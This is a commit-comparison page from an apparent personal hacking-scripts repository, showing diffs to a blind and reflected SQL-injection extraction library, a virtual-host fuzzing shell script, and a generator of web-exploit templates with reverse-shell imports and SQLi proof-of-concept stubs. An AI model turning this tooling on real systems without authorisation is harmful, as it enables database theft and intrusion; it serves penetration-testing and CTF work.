Compare commits
11 Commits
50750f5463
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 91dcd50350 | |||
| 75b845a74f | |||
| 58329993e2 | |||
| 6b807eb828 | |||
| 7088f50fa0 | |||
| b9cdecad77 | |||
| 43b1a0ebc6 | |||
| 6cd353b911 | |||
| d89c0ccf64 | |||
| a73847454f | |||
| 790b97f945 |
54
sqli.py
54
sqli.py
@@ -6,12 +6,13 @@ class SQLi(ABC):
|
||||
|
||||
@staticmethod
|
||||
def build_query(column: str|list, table=None, condition=None, offset=None, limit=1):
|
||||
column = column if isinstance(column, str) else ",".join(column)
|
||||
condition = "" if not condition else f" WHERE {condition}"
|
||||
offset = "" if offset is None else f" OFFSET {offset}"
|
||||
table = "" if not table else f" FROM {table}"
|
||||
limit = "" if limit is None else f" LIMIT {limit}"
|
||||
return f"SELECT {column}{table}{condition}{limit}{offset}"
|
||||
query = "SELECT "
|
||||
query += column if isinstance(column, str) else ",".join(column)
|
||||
query += "" if not table else f" FROM {table}"
|
||||
query += "" if not condition else f" WHERE {condition}"
|
||||
query += "" if limit is None else f" LIMIT {limit}"
|
||||
query += "" if offset is None or limit is None else f" OFFSET {offset}"
|
||||
return query
|
||||
|
||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||
@@ -35,9 +36,11 @@ class SQLi(ABC):
|
||||
|
||||
return rows
|
||||
|
||||
@abstractmethod
|
||||
def ascii(self):
|
||||
pass
|
||||
def substring(self, what, offset: int, size: int):
|
||||
return f"substr({what},{offset},{size})"
|
||||
|
||||
def ascii(self, what):
|
||||
return f"ascii({what})"
|
||||
|
||||
@abstractmethod
|
||||
def extract_int(self, column: str, table=None, condition=None,
|
||||
@@ -154,6 +157,25 @@ class ReflectedSQLi(SQLi, ABC):
|
||||
|
||||
return rows
|
||||
|
||||
@classmethod
|
||||
def guess_reflected_columns(cls, callback):
|
||||
data = None
|
||||
column_count = 1
|
||||
while data is None:
|
||||
query_columns = list(map(lambda c: f"'column-{c}-sqli'", range(column_count)))
|
||||
query_str = cls.build_query(query_columns)
|
||||
data = callback(query_str) # should return some kind of text for a given query
|
||||
if not data:
|
||||
column_count += 1
|
||||
continue
|
||||
|
||||
reflected_columns = []
|
||||
for c in range(column_count):
|
||||
column_name = f"'column-{c}-sqli'"
|
||||
reflected_columns.append(str if column_name in data else None) # how to guess the type (str/int)?
|
||||
|
||||
return reflected_columns
|
||||
|
||||
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
|
||||
|
||||
class BlindSQLi(SQLi, ABC):
|
||||
@@ -207,7 +229,7 @@ class BlindSQLi(SQLi, ABC):
|
||||
cur_str = ""
|
||||
while True:
|
||||
found = False
|
||||
cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
|
||||
cur_column = self.ascii(self.substring(column, len(cur_str) + 1, 1))
|
||||
if charset:
|
||||
query = self.build_query(cur_column, table, condition, offset)
|
||||
for c in charset:
|
||||
@@ -235,7 +257,6 @@ class BlindSQLi(SQLi, ABC):
|
||||
|
||||
return cur_str
|
||||
|
||||
|
||||
class PostgreSQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("VERSION()", verbose=verbose)
|
||||
@@ -255,9 +276,6 @@ class PostgreSQLi(SQLi, ABC):
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
def ascii(self):
|
||||
return "ascii"
|
||||
|
||||
class MySQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("VERSION()", verbose=verbose)
|
||||
@@ -277,10 +295,6 @@ class MySQLi(SQLi, ABC):
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
def ascii(self):
|
||||
return "ascii"
|
||||
|
||||
|
||||
class SQLitei(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("sqlite_version()", verbose=verbose)
|
||||
@@ -299,5 +313,5 @@ class SQLitei(SQLi, ABC):
|
||||
# TODO: we could query the "sql" column and parse it using regex
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def ascii(self):
|
||||
return "unicode"
|
||||
def ascii(self, what):
|
||||
return f"unicode({what})"
|
||||
|
||||
@@ -14,13 +14,19 @@ fi
|
||||
|
||||
DOMAIN=$(echo $DOMAIN | sed -e 's|^[^/]*//||' -e 's|/.*$||')
|
||||
|
||||
|
||||
echo "[ ] Resolving IP-Address…"
|
||||
output=$(resolveip $DOMAIN 2>&1)
|
||||
status=$(echo $?)
|
||||
if ! [[ $status == 0 ]] ; then
|
||||
echo "[-] ${output}"
|
||||
exit
|
||||
if [ $# -lt 2 ]; then
|
||||
echo "[ ] Resolving IP-Address…"
|
||||
output=$(resolveip $DOMAIN 2>&1)
|
||||
status=$(echo $?)
|
||||
if ! [[ $status == 0 ]] ; then
|
||||
echo "[-] ${output}"
|
||||
exit
|
||||
fi
|
||||
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
|
||||
echo "[+] IP-Address: ${IP_ADDRESS}"
|
||||
else
|
||||
IP_ADDRESS=$2
|
||||
echo "[+] Using IP-Address: ${IP_ADDRESS}"
|
||||
fi
|
||||
|
||||
function sni () {
|
||||
@@ -37,14 +43,12 @@ function sni () {
|
||||
echo $sni
|
||||
}
|
||||
|
||||
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
|
||||
echo "[+] IP-Address: ${IP_ADDRESS}"
|
||||
echo "[ ] Retrieving default site…"
|
||||
rnd=$(uuidgen)
|
||||
sni=$(sni ${PROTOCOL} ${rnd}.${DOMAIN})
|
||||
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
|
||||
charcountIpAddress=$(curl -s "${PROTOCOL}://${IP_ADDRESS}" -k -m 5 | wc -m)
|
||||
charcountNonExistent=$(curl -s "${PROTOCOL}://${rnd}.${DOMAIN}" --resolve "${sni}:${IP_ADDRESS}" -k -m 5 | wc -m)
|
||||
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
|
||||
echo "[+] Chars: ${charcountDomain}, ${charcountIpAddress}, ${charcountNonExistent}"
|
||||
echo "[ ] Fuzzing…"
|
||||
|
||||
|
||||
166
template.py
166
template.py
@@ -1,23 +1,40 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
import urllib.parse
|
||||
|
||||
def generate_template(base_url, features):
|
||||
|
||||
ip_address = "util.get_address()"
|
||||
for feature in features:
|
||||
if feature.lower().startswith("ip_address="):
|
||||
ip_address = "'" + feature.split("=")[1] + "'"
|
||||
# we could all need that
|
||||
imports = [
|
||||
"os", "io", "re", "sys",
|
||||
"json", "time", "base64", "requests",
|
||||
"subprocess", "urllib.parse"
|
||||
]
|
||||
|
||||
partial_imports = {
|
||||
"bs4": ["BeautifulSoup"],
|
||||
"hackingscripts": ["util", "rev_shell"],
|
||||
"urllib3.exceptions": ["InsecureRequestWarning"]
|
||||
}
|
||||
|
||||
main_code = []
|
||||
methods = []
|
||||
ip_address_arg = next(filter(lambda f: re.match(r"ip_address=(.*)", f), features), None)
|
||||
ip_address = "util.get_address()" if not ip_address_arg else "'" + ip_address_arg[1] + "'"
|
||||
|
||||
variables = {
|
||||
"IP_ADDRESS": ip_address,
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
|
||||
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"'
|
||||
}
|
||||
|
||||
if "proxies" in features or "burp" in features:
|
||||
proxy_arg = next(filter(lambda f: re.match(r"proxy=(.*)", f), features), None)
|
||||
if proxy_arg or "burp" in features:
|
||||
proxy_url = "http://127.0.0.1:8080" if not proxy_arg else proxy_arg[1]
|
||||
variables["PROXIES"] = json.dumps({"http": proxy_url, "https": proxy_url})
|
||||
proxy = """
|
||||
if \"proxies\" not in kwargs:
|
||||
kwargs[\"proxies\"] = PROXIES
|
||||
@@ -35,7 +52,7 @@ def generate_template(base_url, features):
|
||||
vhost_param = ""
|
||||
full_url = "BASE_URL + uri"
|
||||
|
||||
request_method = f"""def request(method, uri{vhost_param}, **kwargs):
|
||||
methods.insert(0, f"""def request(method, uri{vhost_param}, **kwargs):
|
||||
if not uri.startswith("/") and uri != "":
|
||||
uri = "/" + uri
|
||||
|
||||
@@ -52,25 +69,12 @@ def generate_template(base_url, features):
|
||||
{proxy}
|
||||
url = {full_url}
|
||||
return client.request(method, url, **kwargs)
|
||||
"""
|
||||
|
||||
methods = [request_method]
|
||||
|
||||
if "login" in features or "account" in features:
|
||||
variables["USERNAME"] = '"Blindhero"'
|
||||
variables["PASSWORD"] = '"test1234"'
|
||||
methods.append("""
|
||||
def login(username, password):
|
||||
session = requests.Session()
|
||||
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
|
||||
if res.status_code != 200:
|
||||
print("[-] Error logging in")
|
||||
exit()
|
||||
|
||||
return session
|
||||
""")
|
||||
|
||||
if "register" in features or "account" in features:
|
||||
main_code.append("""if not register(USERNAME, PASSWORD):
|
||||
exit(1)
|
||||
""")
|
||||
variables["USERNAME"] = '"Blindhero"'
|
||||
variables["PASSWORD"] = '"test1234"'
|
||||
methods.append("""
|
||||
@@ -83,11 +87,71 @@ def register(username, password):
|
||||
return True
|
||||
""")
|
||||
|
||||
main = """
|
||||
if "login" in features or "account" in features:
|
||||
main_code.append("""session = login(USERNAME, PASSWORD)
|
||||
if not session:
|
||||
exit(1)
|
||||
""")
|
||||
variables["USERNAME"] = '"username"'
|
||||
variables["PASSWORD"] = '"password"'
|
||||
methods.append("""
|
||||
def login(username, password):
|
||||
session = requests.Session()
|
||||
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
|
||||
if res.status_code != 200:
|
||||
print("[-] Error logging in")
|
||||
exit()
|
||||
|
||||
return session
|
||||
""")
|
||||
|
||||
if "sqli" in features:
|
||||
partial_imports["hackingscripts.sqli"] = ["MySQLi", "PostgreSQLi", "BlindSQLi", "ReflectedSQLi"]
|
||||
methods.append("""
|
||||
class ReflectedSQLiPoC(MySQLi, ReflectedSQLi):
|
||||
def __init__(self):
|
||||
# TODO: specify reflected columns with their types
|
||||
super().__init__([None, str, int])
|
||||
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
|
||||
# TODO: build query and extract columns from response
|
||||
return None
|
||||
""")
|
||||
methods.append("""
|
||||
class BlindSQLiPoC(MySQLi, BlindSQLi):
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
# TODO: build query and evaluate condition
|
||||
return False
|
||||
""")
|
||||
|
||||
main_code.append("""poc = ReflectedSQLiPoC()
|
||||
print(poc.get_current_user())
|
||||
""")
|
||||
|
||||
if "http-server" in features or "file-server" in features:
|
||||
partial_imports["hackingscripts.fileserver"] = ["HttpFileServer"]
|
||||
main_code.append("""file_server = HttpFileServer("0.0.0.0", 3000)
|
||||
file_server.enableLogging()
|
||||
file_server.addRoute("/dynamic", on_request)
|
||||
file_server.addFile("/static", b"static-content")
|
||||
file_server.startBackground()
|
||||
""")
|
||||
|
||||
methods.append("""
|
||||
def on_request(req):
|
||||
# TODO: auto generated method stub
|
||||
return 200, b"", { "X-Custom-Header": "1" }
|
||||
""")
|
||||
|
||||
if len(main_code) == 0:
|
||||
main_code = ["pass"]
|
||||
|
||||
main = f"""
|
||||
if __name__ == "__main__":
|
||||
pass
|
||||
{'\n '.join(main_code)}
|
||||
"""
|
||||
|
||||
imports = "\n".join(f"import {i}" for i in sorted(imports, key=len))
|
||||
imports += "\n" + "\n".join(sorted(list(f"from {p} import {', '.join(i)}" for p, i in partial_imports.items()), key=len))
|
||||
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
||||
header = f"""#!/usr/bin/env python
|
||||
|
||||
@@ -96,21 +160,7 @@ if __name__ == "__main__":
|
||||
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
|
||||
#
|
||||
|
||||
import os
|
||||
import io
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import time
|
||||
import base64
|
||||
import requests
|
||||
import subprocess
|
||||
import urllib.parse
|
||||
from bs4 import BeautifulSoup
|
||||
from hackingscripts import util, rev_shell
|
||||
from hackingscripts.fileserver import HttpFileServer
|
||||
from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
{imports}
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
{variables}
|
||||
@@ -121,14 +171,38 @@ requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <URL> [features]" % sys.argv[0])
|
||||
exit()
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Exploit Template for web attacks",
|
||||
formatter_class=argparse.RawTextHelpFormatter
|
||||
)
|
||||
|
||||
url = sys.argv[1]
|
||||
available_features = [
|
||||
"ip_address=[...]: Local IP-Address for reverse connections",
|
||||
"burp|proxy=[...]: Tunnel traffic through a given proxy or Burp defaults",
|
||||
"subdomain|vhost: Allow to specify a subdomain for outgoing requests",
|
||||
"register|account: Generate an account registration method stub",
|
||||
"login|account: Generate an account login method stub",
|
||||
"sqli: Generate an template SQL-Injection class",
|
||||
"http-server|file-server: Generate code for starting an in-memory http server"
|
||||
]
|
||||
|
||||
parser.add_argument("url", type=str, help="Target URL")
|
||||
parser.add_argument(
|
||||
"-f",
|
||||
"--features",
|
||||
nargs="*",
|
||||
type=str,
|
||||
default=[],
|
||||
help="Optional list of features:\n- " + "\n- ".join(available_features)
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
url = args.url
|
||||
if "://" not in url:
|
||||
url = "http://" + url
|
||||
|
||||
features = [] if len(sys.argv) < 3 else sys.argv[2].split(",")
|
||||
features = args.features
|
||||
template = generate_template(url, features)
|
||||
print(template)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user